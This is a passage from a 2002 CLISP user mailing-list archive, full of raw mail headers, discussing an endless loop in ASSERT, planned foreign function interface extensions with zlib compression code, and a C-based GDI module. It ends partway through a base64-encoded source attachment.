2002 09:55:34 +0200 >>>>> "lin8080" == lin8080 writes: lin8080> With clisp-2.28 on win98: lin8080> [41]> (load "astest.lisp") OK, but what about: clisp -x '(assert (>= -1 0))' ??? On Linux i686, GNU CLISP 2.28 it indeed creates an endless loop: WARNING: (>= -1 0) must evaluate to a non-NIL value. Retry WARNING: (>= -1 0) must evaluate to a non-NIL value. Retry ... Claudio From Joerg-Cyril.Hoehle@t-systems.com Thu Apr 18 07:17:15 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16yCim-0002be-00 for ; Thu, 18 Apr 2002 07:17:13 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Thu, 18 Apr 2002 16:15:47 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <2W57H4PR>; Thu, 18 Apr 2002 16:17:03 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: kevin@rosenberg.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] Open issues in future CLISP FFI Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 18 07:19:19 2002 X-Original-Date: Thu, 18 Apr 2002 16:17:02 +0200 Hi, o Modules and deadly PACKAGE-LOCK feature interaction + partial solution for LISPFUN is possible -> unlock and keep unlocked = (used only with own modules, not FFI). - but not for the module_object table (used by FFI DEF-CALL-IN and own = modules) o macrology - FFI:CAST, FFI:OFFSET etc. are already used in incompatible ways for = SYMBOL-MACROS hiding the actual FOREIGN-VARIABLE objects. I feel that hiding these objects is a bad thing to do when working with delayed references. So I let the programmer manipulate them as the first class objects that they indeed are. o reopen-foreign-library: update-address of all known = functions/variables (useful when restarting from .mem file, e.g. servers) - need additional thoughts whether reopen or initial call can be made = transparent. o half of WITH-STACK-FOREIGN, WITH-FOREIGN-ARRAY - need to find good names & syntax - allow variable element-type instead of just size? o allow libraries to be refered to by name instead of value Here is working code which shows most of this (from future cl-pdf): (def-lib-call-out zlib-compress-string *zlib* (:name "compress") (:arguments (dest ffi:c-pointer :in) (destlen (ffi:c-ptr ffi:ulong) :in-out) (source ffi:c-string) (sourcelen ffi:ulong)) (:return-type ffi:int) (:language :stdc)) (defun compress-string (source) "Compress the string SOURCE. Returns an array of bytes representing the compressed data." (let* ((sourcelen (length source)) (destlen (+ 12 (ceiling (* sourcelen 1.05))))) (ffi::with-foreign-array (dest (c-array uint8 destlen)) ; no init (multiple-value-bind (status actual) (zlib-compress-string (foreign-address dest) destlen source = sourcelen) (if (zerop status) ;;(subseq (ffi::foreign-value dest) 0 actual) ;;ffi::%cast not usable because of different size... (ffi::foreign-value (ffi::%offset dest 0 (ffi::parse-c-type = `(c-array uint8 ,actual)))) (error "zlib error, code ~d" status)))))) o COMPLEX-MALLOC is there (i.e. must provide initial value), but no = uninitialized malloc (SIMPLE-MALLOC?) and no foreign-delete. - Simple-malloc is dangerous. (simple-malloc (c-ptr (c-array uint8 = 32)) doesn't do what you may expect: it would just allocate a single = pointer, not a linked structure... A cheap trick is (complex-malloc (c-ptr (c-array-max uint8 32)) #()), = e.g. provide an empty string or vector. o Compiler optimization: Most PARSE-C-TYPE is known at compile-time and = can be constant folded, instead of being recomputed at every call (for = some functions). - BACKQUOTE expansion is unportable to analyse - Other non constant (QUOTE x) cases are hard to discover, e.g. (parse-c-type (list 'c-array 'uint8 (length source))) which could be optimized as well (in theory). - differences between compile-time and load-time environment? o parallels between the existing (AmigaOS only) = FOREIGN-LIBRARY-VARIABLE/FUNCTION and FOREIGN-ADDRESS-FUNCTION to be = investigated, possibly unify interfaces. o portable .fas files versus platform-dependent macroexpansion o allocate-string, avoiding FFI 1:1 encoding restriction + would allow UTF-16 - to be specified I have (or decided upon): o zlib-compress for CL-PDF (w/ preliminary dynamic library API) o (DEF-LIB-CALL-OUT name library options...) (pending portable .fas = problem) o (resolve-foreign-name "foo" library 'FOREIGN-FUNCTION) as Sam = suggested o FOREIGN-ADDRESS-UNSIGNED and UNSIGNED-FOREIGN-ADDRESS o FOREIGN-ADDRESS-FUNCTION o MARK-INVALID-FOREIGN (dangerous!) o and a few more... Comments appreciated! Regards, J=F6rg H=F6hle. From dan.stanger@ieee.org Thu Apr 18 07:34:02 2002 Received: from mail2.hypermall.com ([216.241.37.118]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16yCz4-00050s-00 for ; Thu, 18 Apr 2002 07:34:02 -0700 Received: from [216.241.42.236] (helo=ieee.org) by mail2.hypermall.com with esmtp (Exim 3.16 #2) id 16yCyx-00017G-00; Thu, 18 Apr 2002 08:33:55 -0600 Message-ID: <3CBED990.E6F91E2F@ieee.org> From: Dan Stanger Reply-To: dan.stanger@ieee.org X-Mailer: Mozilla 4.79 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: "Hoehle, Joerg-Cyril" CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Image libraries and dynamic foreign functions References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 18 07:37:03 2002 X-Original-Date: Thu, 18 Apr 2002 08:34:57 -0600 There were a few reasons that I created the module in c. 1) I was starting with a c header file, and I remembered the simple awk compiler in the awk book. It has saved be a few times. It was really easy to generate c code from the headers. 2) I am not familiar with gdi at all, so I wanted to be able to use gdb to examine c variables, to confirm the values I was passing in to the gdi functions. 3) I thought that if I generated the code properly, there would be less debugging. 4) This module is specific to 2 enviroments, ms windows and react os. The module I generated was about 8k lines of code. I had to hand modify about 300 lines of it. In retrospect, I would have tried to refer to variables on the stack instead of popping them, then at the end, pop them all at once. Also my intention was to have all error checking in the lisp code, and none in c. I want to thank Joerg for answering my questions regarding modules. Also the document he wrote is very helpful. Dan Stanger "Hoehle, Joerg-Cyril" wrote: > Hi, > > Scott Williams wrote: > > In light of the new dynamically loadable foreign function > > interface, is it > > still best to make an interface to ImageMagick a standard > > module (like regexp) that is part of a memory image? > > It depends. In my article (sent separately) on extending CLISP via modules, I don't give much advice on this topic. The final decision is up to you. > > o If you already have an interface to ImageMagick based on a CLISP module, why change it? > > o If you're considering a future interface to ImageMagick, a dynamic FFI might be more appealing (as it's more likely to be portable to other Lisp implementations, or ported from other ones). However, the FFI approach has certain drawbacks that I highlight in my article. > > The most important one is possibly the lack of integration with Lisp, i.e. all you have is chars, ints and arrays of those. > For instance, Dan Stanger preferred to write his GDI based on modules. He manipulates Lisp arrays directly, which you cannot do with the FFI. Maybe he wants to comment on his choices. I don't know whether he expects better performance or more comfort or better integration into the Lisp world (i.e. feel less "foreign") from doing so. > > Sam Steingold wrote: > >it will be very easy to convert to the DLL FFI (when/if it arrives) > Even if I were to die (or be overwhelmed with other stuff), I think I already released enough information to let CLISP users fly alone. > > Regards, > Jorg Hohle. > > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list From Joerg-Cyril.Hoehle@t-systems.com Fri Apr 19 04:44:54 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16yWou-00088X-00 for ; Fri, 19 Apr 2002 04:44:52 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 19 Apr 2002 13:20:37 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 19 Apr 2002 13:21:52 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/mixed; boundary="----_=_NextPart_000_01C1E794.6341FE90" Subject: [clisp-list] FFI extensions - work in progress - you may try it out! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 19 04:45:12 2002 X-Original-Date: Fri, 19 Apr 2002 13:21:44 +0200 This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01C1E794.6341FE90 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi, here is my current set of FFI extensions, which is IMHO taking shape. To try this out, you'll need o a fairly recent CLISP, better from CVS, since I fixed some bugs o probably the dynload module? o to be able to compile CLISP from sources o add to modules.h: MODULE(ffimext) o to walk through the code, esp. ffilext.lisp... I also included zlib-clisp.lisp, which enables compression for CL-PDF = with CLISP. It's unreleased for now. Monday, this will work (I just changed the macro API once again): (defun compress-string6 (source) "Compress the string SOURCE. Returns an array of bytes representing the compressed data." (let* ((sourcelen (length source)) (destlen (+ 12 (ceiling (* sourcelen 1.05))))) (ffi::with-c-var (dest `(c-array uint8 ,destlen)) ; no init (multiple-value-bind (status actual) (zlib-compress-string (ffi::c-var-address dest) destlen source = sourcelen) (if (zerop status) ;;(subseq dest 0 actual) ;;ffi:cast not usable because of different size... (ffi:offset dest 0 `(c-array uint8 ,actual)) (error "zlib error, code ~d" status)))))) Enjoy, J=F6rg H=F6hle. ------_=_NextPart_000_01C1E794.6341FE90 Content-Type: application/octet-stream; name="FFI-add.tar.gz" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="FFI-add.tar.gz" H4sICDH8vzwAA0ZGSS1hZGQudGFyAOxba3PbxtXO13BG/2FNJREoEzBJ3RwqdaLoEiuRZNey42TS jAoCSxIRCDBYQDSdJj+7n/ucs7sgSJGS07du3nbK8Vggdvfsud92+TaOem4QR2rs0X8fvI9Pq91q 7W23Pmi1Onu7u7v4i09nW/9tdfBv6wNM2Nnb29vZ223jfXu7vbPzQeu9YLPwKVTuZ9hymMphLFfP 68ut7bvgMC1MJNG0+69G83199vf312r4TzyP/UCGIkryVORDKcZFL44CEaYjP0pEbyq+TmU2cA+n WRSLp8wsXqhXv51XI+GKwzSUArCCdDTOpFLCF2c0ovIsSgY04ifCzzJ/KtK+BtKb5lI1RaF4AnAg qCWAKE0Evmd+NhXOMM/H3UePJpOJR5O8NBs0PLFW04Auiyj3e7EU/TQDOCkmUT4Uh2fu86MTIuXc zwLxpZ/nUz+JPL3mVRLKTI1lEPUj8CGTPxdRJkcyyYF6Ly3yEhHXkKCiQeLnRSZFLP1QQwFZBQD1 o4R5OcYyPwkFltNjPh1L5Xm8oziIYznI0sMz4QSxywxUIz+OmYGNrnA0c5wioY1k6BJ7xONGg1cT L1+n2bUSDi+NJ3adxo4nHZ6/IvBaOKMimMG+8eNCKiuMWCYa6uHZ6eVzcFdm8l4MLr7sigOhZJAm xC5VxLlgsCJSIklzYnxI3CZJBiCMdgqgFbzamWRRLt2095MMcjEO+8RV6Y8a4Bp9ZUw9cZqLSVrE gCMJXr+IMc4AsO1PRRLkpBYs3q4EHuC/8m+kSBO9J724fPXl5fGfPa0c4iRLR4ySSosskMKxm4Fg LTBHjzSIDt+wqMlixDKGYagdwXcQYmpR3UD06xenL49d7Pvq+OLwGPhoUKCQsWUwMmb9ckktxGTo 5zzkpmOZuP0I8OhJETRolI8dLQ0vJNQuIX5a/CzP/SCQY43MMJ3IG5k1iaFs0MBaJqBYmxsUPiJp MGHEqesoCRUGRTD0Mz/IZSYwPQ0BXWmNfUmCNEbAooW5lkwgeeYyIVUX2Lbn59HI4nshMd3yWYsf FEGC8L1JLh7KN9gt8WMXDBz5+UOx/tBoIka6I/9auhYV0SX0lMzFhnnoRip1Hz/e+dRtiy6UTLoA NopgmpBGt0iiN0Zhu4aLwr63TJNJWgyGTSFJ4yIwACSlo+6mmc+yKBHYxCoG1/OJCRCsxSMYtzs7 HViNIpafX7qvwdF0gm+jsZa0T9raIKas/22t9g3eiHNPPI/yEXxh2lMyu2G3wVz2Yj8ZaG/qkMMa CoqUWH1ZsNF0oQZdcKq57gqZB55w6PuXcujfRFBgkuT6RggfFoARU6y7kBMFh1OMVXdhg7XakZ9j 8WsZNsUuuUfeS7QfdzutbntbfHX+cq323M+HXYFwEA8w28uhvtfpyAvlgwSQvTD3B/ZLHwJvtTxY iZe7aUJSoaHqcyjpIZF5ucAzgz354G2ReUXBo74a2sdJmsUhT1+rnUMH/YF0T4+64jPVnwxaW2HW aedeX/W/UEMZx622B4V9TWs8kPsEjJPk47tizAxfOmut9kL24f1gJ+DSZ/5uZxzKj8JR/FH7iyxG ZG970JyR7ysviZ+Iz7aCTztb4eMdr9PeftzewoQvkiQfewijMiNjVIo3F59Nd4O3aTt+G/88YBzT APxKE2+UxV4yLTwZFk+YkqT1Jt4bfjpYTQnhtRO3so/CrT3C6y2xpONl2VtJ2LkyI8nKBGwG1RcX L5+7z1OVQ3ndp/iLEGGgwi1MZpR/55KGwEUxk75KCiVudry9R8cjP1BQCG9vrXYGAYExWzukxF+n wRAWfxkMR1GYi89+UsEXoZ/7QwkXzLuzV8ACmv1EPIVmwoLJN7N7m1CcYacp3/hkI+ynIGkgdS2Y hX0kJTzjyY4Ioz6LJkeYEgRPTVUuR3DSgGJjLpwoO3d/BI9HKQ0ZOfxgIkZpRhtQ1iGGxUCKEQlH nDIo+DTAFsMFDBk3H6YHYyKwVSTK3cl/VvBxGZVIB6ZhhMUICUpHQYRKHvBjRZEpTv3QDGRwqmMa xvYEq9zeF2M/y6OgiGGVIHzembCHffrs9fG3xy+aPH80VTLuN0FXmCYb4IYJi6FO6/Ih7TBNiw3i hh9fcxSh/Gat1pOBT+ELDmg0hUzGMovIEpq0SjEkRnskfQopYPVYpiQ2EgBHnwme1mqGWXMpFN6l eJmJcZrlykbTKSIeQg88KPR1JnHFQX7iT5XeBlCJlHGGgJjFU/JBoJ/lTSSTM5Ok3ga4pYM3YC6s 1ZTU2pVm0QCxIQZ2voKEaL2RejBMESB5lt9DWPV1csEYTODU9Tg4fgrpAP8on7EEqIVFQMEU0nZv lAsoI8FiiqN8KjKfiWf1w9xRmnOOBsxH2KLg3BOxkMWvFYqjbGHsA/obphnvFMTAAvASpH5Yyinj Ws2qJXjHKnEQq7SJ5Ay6A1/N2qTACqmIj1iRTuAEfM4cKOIzGhpTfJ1XMQiC7TTn/yknSqaeEOeI jBEJf342EgKEa0XMYYOLo2sZTzUTe8UAnltLPJNyDCnrvCqm+qA6c0J+xacFtGE/ekOBiQSDR60y AwmhkkL4FIxYwzndG95GiCEGnEXq9MhCAqf+tk7ccqLEHfvBNQKK6CJP0SHatTlIlkEE9ZdkA5wx qaFNScmAdcTmuV6dVzpQvhJe/eTktF7G/KeGh5ztwUQ5IUz7cJCUEbmcqIMOl7Ionbbb8ukHcmJ5 gcGpLYN+XKsJ4XQT8nV1O5H2ord+Nii06QEyUjSn34+6gTvOM/uos3t6LmBOj4HWFQoBnk0FAWVN H34o8OkSNt1B4WchigkJpsN6KAPlKYI/dpmGF6eUqYGrWFmZY1Pud0VFz9fI3AIzt1nDUK3x0hk1 DQKayf5eJQHKNAQ2mFp0Y9N/AuIXyPagKwHztk/1gUGU3K/WGKizr9M+ZKQZ+2RwnXJkX1c/yMJR xwDcIOdoYSDccPZFUNKMjDuefl4qHQR+A5++yXIew0FsMg2Yvv7w9enFVkfUubYN47hOI/ShLPzZ 0TNK7tmpS3gyrn6C6WACNXTWH766OP2OPMMsAW18TvhPfFIGC9ECNPPreP3WU2l99v7g/PSrA4OC UTgeZU7XL2WuowJIiLjeIC+Ygt/CNBDiNGADtLGTi3kDCNSbDYnHFqcGoT2l3FVHUmtOVUZtNsi+ EvYYDvHeQexKwrHYKIe1mrBmoR6NMGaGtI4gVf/ZvBFkqVm3CxcrUeG6tr1QEQkrHrYkaN27TdT2 BTTs32Obxh5SDoBkN0vsqmI0M61fbWN6tsbonzcdPULZZMG+UeVhoBlCVV1KqZ1tqygOhWZ3X5V1 M+cFarHZg2q9WvzeajHogvNSM5TyDVVWZVZYs4IM7OWUgTQw9qfcYJkVrJAVYj/FPl3sUS5oswGY csR9iZaOEhTdxmMqE6i8ZRhVRpKyVj0WS6MslxtCRVRfw9ZQdEk4GVV2DHoFxWfrHzQ/tCexuuBZ VS+SW50m25Fgyzu0EYHzXD3h8tmrF4fHnmkMzHFbl+lrtUzqBkBum2uVSp6Sdo+N24llDrOo6Ilj cDYosC7NlPKhaKPiBbHMRWez4lbbXmunoR13aY9dbnBYCZr2kg5PNgjoAFAGIbEPqQnKp61nckYm 83C52+T2KBdzkD3lKFggCIRIrfDOUut0yt3DkNlIWzXshlaBZ5EHoJyob+Oe3sYa1P6+owqU7T8b 6ixo3QbTgFtzONEanvpx4INq3SZj92mTVkisUmNEKOlInT+csXB+E/3u47Tfp54Is7JlXo6pLeEG 2sL+usDgpsHKBlab5bCX5uemTnZ+C+uWaiNNq6iIf8M0FHONPMfBw1w775N0rCsekaVp7sawv1h8 4hdvKgrIKrL+kEIf9TUn3Nf0dX+Umpg6u9LeiFND9vybVdFiLwXFfVLqq4NiKyceAiGo0eYInpLY SdrnVnrKm6WCgoH9+WUmWFQsxbmlTnPblLBgRuAF0m5y6A6SVTdEfmBkRiyqPzrhwXq5BqugZ3oJ KZ0uilauE47JLfAmRgp8JElcdQOApeqMC6UZoSrr5uc3nNkGyhKhOc1RLoGXcrWkDf9Z3NSoEXXN 97rYnAl8syLLitTIgkgPxwsM3ljZY55xpUiQ2YQukv2cVAze1KdOOuVryMNyah1ykcTbbShxdvzy BFVIkKXWdBysHSSlAdpGrGn/9SJQD4xQL8E9oV6vhiZrelo59EJ3LnbNEQ+ClnTLNQjNOXiLgtuw 84yYg8LCe+cdZwHIat/v2gnSchek9e7rK9MJDbH+lws5YeVYNU1rDiULy5THuBcqlZbHwp3/1mBo HSi78Fve+n/x8P9zPNzf56Ls2cnJ5fFL7XrIIw1SPhHhitJg2eZ++4PPhUttFNOEQkm4b0491XTU S2MDQp8wzLpiq2xi97/NJgKX6r0/wBQIA978X2sNRg2XKf4/q/bzCr5Sm3+vLlNr4o++kvC/z7/x A10aIcXzwve4x933f1qd3daeuf+zs9Np8f2frVb7P/n+T/s/5v7Pujg5ORUyIedDJyHBtaqti6// ng3E07+DIbXaepQEcQFvUafQ1Yt6sRfU8VocpuPpJ8/hv+RciPNCjNGhE1zYbAoW8MUYQVnmyauL 2ro+sbPf7d+r7ykhnR+7+t6hPlozkz9f+cnbJipK/ktt16t+7A+a13I6e6Ah/EUVGaqGEH/h4DCI 0x7qhW91nXN4tb7OrTk46AzPJaT19au+uVVy5WcDZVYL8Yt4Ct6YZU5jX/xaw4hB8MIZ+dn1VZRw v/HKMKLZblSnULSJ5ZsrOrBJg2anMujINzK4otB3BW0MrtvNTrPdTFJCC39ATLPVvDg9a9TemY0n 1YmX35/PTcR3zdEx4l6un/RxRYMoNc9NUQ6LX5u12qNNMXeoQfUTKLnWByDeSI7ojAaRtkhMMNt8 VG4LP4PM5Mx9dXn8grTHvGb+Q2BCbNVqFLsOxSgNi1heXRnPdHXFc3K/d0VhUPypXLNf46fVC36w M3/Eql/+CHH9anCkJIVyqDuIs1OWIk0CW4pz/fzgxTfu6cW3B2enR+7JsxfHp19d1JsA36gsXaCl fvjs/PnZ8Xfu+cHZ2bPDW9NvkVf/+Pi740P39enLp3YP9/LlweE3ZinIXCU8XdZUxdfar5la547J P7R/tNPuYF4FeMm+tuXbL6L+8vjy5eFpt3t0fHh6BL2D0RKqN2kU3gZGEGbG33b0BOILJaNm+qZ5 2K/9Qh7gXSB17oVU+/WPy7n6dDSM+P/eLv9+cF/830LY3Lb3f7d3d7Y5/u/stP8X//8NHzploQuT fOwWR31zV5bqP338DU9PBxizjKApZrfRajR0nqIG4UM+BAS6ScdHgChkUrqD42c8aM7SM2nvCfrK utNGk6Ck1Gk6pcsRNxGSjSQK6EhxbBrGlashdCUDtZbZ0KvNnd7XOb40avsO362pP+0+UgqD8pHK gkd8QdnteJ3H/HWEujd/18nGUOqiu3BbcdlFxPcBU3TJjes6OkcmYHoBqACDLOpJV9/scVLyM06Y 5hEdijkR6t+p6nY/ziQdQbv2hLoheKLg/g/tmIv6b5/8duSJ3y5/+xixfWFdhlQCxTZViQsc5/sN NUciMLm6Oc+Ua2SloPcN2z81i1xKG8xKSBp1Kta/ocs7NbGx2JBybUNVlJ3VhRlERzGG95fLRlBn LwC0rplG7ZgOjYIvFnOwNG9ozuKxL73jPgWHR7unuH22RbwCxO/Tgi+nDFK+eqL0nZ5+JivGFk4T ZpsOCg/m+EmPfNWkoc+hCZ9gdggduHTjq3LcfHhFL+qNxbNmOj8oL0Wsvi5R3YQCllZavHOjxN4n xdpyUXlyzQpVnnnTKoqJV7NVdQAn9eFTlb7ty8Vpel2M3Vkfz1woWA6CGxq3+3kb85g0Ktu4lJpo rXTJKnRzqFa2nHTrsb+0Tbhh76Sw4pcQZ4f1/wewVWy1ovBE7OHO9zTJrSJXRl6pf1CR3MgMWU9q s8By6bsso1KtXGidyEqTc8wbEu2+sLnfwdHRi+PLSxdZ56tjfU1+FKkE/h4M6UGLq/fn2IHr9fp8 /PAsP+vo61zmXKvP/cg85SOZKCft9WqL/V2Lm15j8aIuYKTKG1jsW+F8VxK0vqHNZeZAV3kV4SSN EonbQrF6VZl0a0JFwsBp5UZbVNft7++vr68bL2jFAqi3sDIveFtJ2gQ9k1aCtdndl8WFlXU0hY58 qtNKs6u+tJ6yYRust2KCdX5tVuL9pTvPeL58vN9axYDlXr3kgUjkxK1oqBMMJRyy9kxmyiKdlqSl xDcWoVQ2WCaNRm12NLiaM3NoalIRD+ii9bTMj46+vzh7dnBk/P88MzZWWGlJChfz1iREQJgvEnIf EVWaCRixLSkQtMwVIp7kKwUXYu5dKb5n6epTaHc823bu4/ypPCDQE8Q2mWzZK9IXc9r6sigjcQsC HSepG2IpQxCthvWfpXo27rHUmb+u0mwO6ft3HSRZJ66R1xvdIfM+YUcMNPNWKDDmWUQE/5woJ/KP /yxmvkfK0Fxv7vc1MPylMBHSOU1Al15LN8FIAmGrD0s1oL9U86sWfstrVhOlZcRagC0+iwHVZfS7 TXDVkxhmkjtg1K2DWBoqnXlZL09pyqtujSVZzWyQGWi4JhO6Xu3e8guLfKzcYGHBinUgbu4T82Wy HpLcZOgngb6GbAItn+/xLx5LcHkqFnd7wM5gkKXgETVfm2IzSfPNVQXUAyvyTOoG2gr0iWzXKoE5 nWRVYIVCFOYcN5f8i8SmkN7AEwt8ZoXQFy1nd0+V30fI0aDonj3tznjbM0M2Mvp5w2yN0/KQomoP Vf7i0BmD4qgXT8XF6dnnjdls0fYW/VxlsOOZm8eMuNjyyutz+reVlanbgBP7A1WGLnZa5Etopptq /TWuZFW8K13YshpKr9+Zn1vdYLnJUKic37Xik2aAiJMDmY1XQdlucO7DNNY00SxmZgzdd8no2ggf /OGfSj/XDskcBV7QrcwyRFmyuyj+6pquioNE9FpmmKWKWZ84pyxiRZQAsEY1KPD37YWwUXH5tPkS h78wv8KsctWWRew+qjXLzE9/9Z1lywhL4T1OH+LoNKp7k4j3za9ECcL967fm1ndo/RLVvhPEdmOB fLE/0w4jVHY3m4e6xN0Uusbt8i9CKKTwjzuwXNFPKmCqRUC/b6bT4iTnm9H0MwsCocUqDg0Ep+EJ /n0ER/NREQwrP7eaovyl5sT1g+VJ7nwF7liu88k+NQ8qoTq/WxFLreAES5MkFnM8cRP58CLj2Mh6 prD9m8Wof7uqvFMKNyTGft4gDKyW3S/+G1YevTH1yMk15SQ9/cWZ5VV3gICN1IkwzcV6w7gE/WsB ulDQNzcNJuamcy7km0jlRq9WxxMbmzWb/npvNK7cU2+WkqF76qKrcXOp8dG4lShaISyJ3tX2wtIl ixfU7+UWcnLHpBxWyxpisU+k7eZG5ynzSrphmiXCbXe2tnd29x5/qit4upASSl9Moa+cu1l2gmaH f9tOKYFHU63l/KO9I21q48h+jn5FG5XRDMwQRLxOlSjMCpATasWxQrbXqdTKI2kEU5Y0WAfH+vjt +67u6R6NACfOpjaFqmzQTPfr69393oMSFCkDWVIhMe2ONpSp9ZUphwCHpN0vyFv1yQQS007OKI32 fUyaw+5ZNhTivsdhRlFOMwHBvIL+pC6AWOGY/elFej32aaZvJokOChqRpQ0iHzhF/yoCqOfxtIaN 1DqH19/EvTm1RtcWpTLD2d2QChMpPYZ06EVjLc+NtsSRqKU/xMlIJRoObkEXSXowGiZ7JDhWOeRk F0kZqI+S88hYaLjWhLkVh2UdNF6GzcO9cL/ebIYnr9rKW72+SCmfFf8nTUdnkqyibq9YgbQNLYnz oh6awWFYVTRMUJVn/ibddHfMxqqIe02n5+g4IIsKHQLSKzMk4suYFjHxaH1H23dehTa9T+JRehWT LYiEwNOhafv6x+IIWakMDyYqysAsDa3nLLlyU0FBaMMRPdKQI33jRwXzsbvKhnmyX57UrTDd5Lnu yD3fec0GHK8B4529PWs3jmq1VuPo5HUjPGkehIANh8eH7cOT4zNVCTLTD5vjPeths9Gq1Rqv683w zc+N41Ce2S/3EcirY+kOP8y2+ItDPz191T6QptbOaIQAdK/VtJ8OsLRVb70NAfg+ztA6WY0YTnvt 1ytoDyPy5tvP9KBe0ajQQ6jAp7g1LYwko05TCMJE/x2oHBHFjGDUIzIkDe705PC43Wg548rkPbzt wdM4O2nCcegex/Wjhpmv0rNQFf1eL88vWkslYFRwlPHTeuusEe6bntDqIYRQCYQUzEiCIShTWF1n B4EyWU1DzZXWFLEC2JBLTBySNWglhjOoNZmwpMB8KWB9WvNBSkY+O0dZVRRqjExzTkofK1Ib6s3F LTLx3SdZ8RgrbwoM4DDUmYfn8Tim1GJhweQC56hCyvO+TqbxrsU0C+5LPI9uF8Kcke2hREaGLRVL UBVa7abAifE/3Ml3krb3FIVN6CyNRgBuGo26/Uh5AYzgq+Dvumfx1UHQCzMda0MFGNEpYwMoPAWc EnGF8qeSRwsCMQ0nEFZVpaS8osW5WU1ZTRXQEFeiLmho1ISu7jjI1Ff+74ddCPVTGaTpgFVosIQw hwaxEqxHXailIEa5hr4oTvq2GTkqU2RNgYEr20fPOCQ2dAxPh4TajX+11cqXM76WAMOfstBRTxng 1L+ckc3l2sCDZDKdiTjJyJdvHXJCxogEKvoAhqbH1R9yTkk2SjEj5pLLQ/hsbPJI8oRVVng+NGaq vNkS0ZDhtRstLIOuxuOrZJKOyXqD3zN99IMUpbAPWh5hO2mIEcX59XAjdxP0wt55OQ4OOCwCjidu G8IULGxPOpA2dDknbAmT8ZGEA8MlxBkmjDpP2RKx/VspWtt3V5grNQblCDENNSRm4UjFmUy+m/j1 Spv1o70DEBEBaPAoPY/2TprhUX2/dUIynVhDTnAxYmEH3zANs3P38Y17OMedrMOOd19G1qzb4iwk F4hjv8GSKf8afRUzechoBppXEA5vmAoZPDMydqbARqZUOY2utDmooMbVod6j1SmERNVYGKP6WB5l GJP7W3KxNiRrd0KexUAViS2uqZIJL3ZhItyICmRgxZFRVzLz2bDayKNrLgOV0JbsbBUPZ/STp+t/ HRbrvHSZgOO/zkoc6OThUXSjCV78U3tR33inuD2CYGeU8XAIrQgSEq+Q8fTct/PsHLi5xVcrHi6i mwL/jMbWwVMC15z+B+NvgikJ9APtXLrqpKoOlDPuWOKccjCl//H36nP6Aj/w2w9b9A1+4Lfnz+jb 82cOBLRJQYUYgE0HaJ3Ou/qL0yq7xMkc+qhZorMHr49n8Qj0yojNrVHynyhnzLzTGZOVQOhXb1gg p+00XiR4puilvR/Mou7ST5QSrvI72MkD8qu1XGNVpFht+E3gJ/E59KiBEXoODKB30YF3o1vtMU/T JWORwon14NDlOM3sTtqJvfr+P/756qTdoOgo/05i3nqk5v9jav6GxPrOC6RrYPX9c2j1QZS09Y1I SQRzViAUHVi50O3W4fFP5O/WecW9dA7zxkxA+XUhIrGG0QCmtGLcDy+Zasntn+BlIGZis8ffqZlh VeOaxBUU86paq4KGOUpmpGdSDcVlxT0oNnSammqVDHRKrsNurC9b4/5SEa8vHI1Cbe4Blq19iZvZ /qxiUJVnalJWlk4fTmhh31SljYLru+80vfAMi23cDC25GXMYg5MLiwrcVQXZslzcDWTUwCwiWDxg v6SdNlSvyk5C382VTZKqSsIx0JE9wdpEcz62Xar5qREbS7ZlXHOXWU4IJmX1+a46tgblFAScZ2dT jaJbTtePTcHOCVXs7M7Pz29rCiMm6BSBQtar61WaxKa1ID05GvlJiSRoIaoAXfRUFwvKytY8qAzp fDaABfhi3iNrl6IKDM5nysRRsfjvmNhDAltkKS5CQ5P5mN0pXV3Ms5ZVXxul09nwVu4aaM2k8xLv 4wsEIIjbzLWPx0Nq9R4Dv3YCFxzvTYL1N6UknMNL+SaTSJErs13S7RldKJAtD2C6uMnsrh7QTgck ggJ91FSjFK8WFEeWsuXkybWTzGMSSvL0ou4lPnbWAMRGJmM+u0vGd2i+kLuR6A7UgItk0ude8pyN 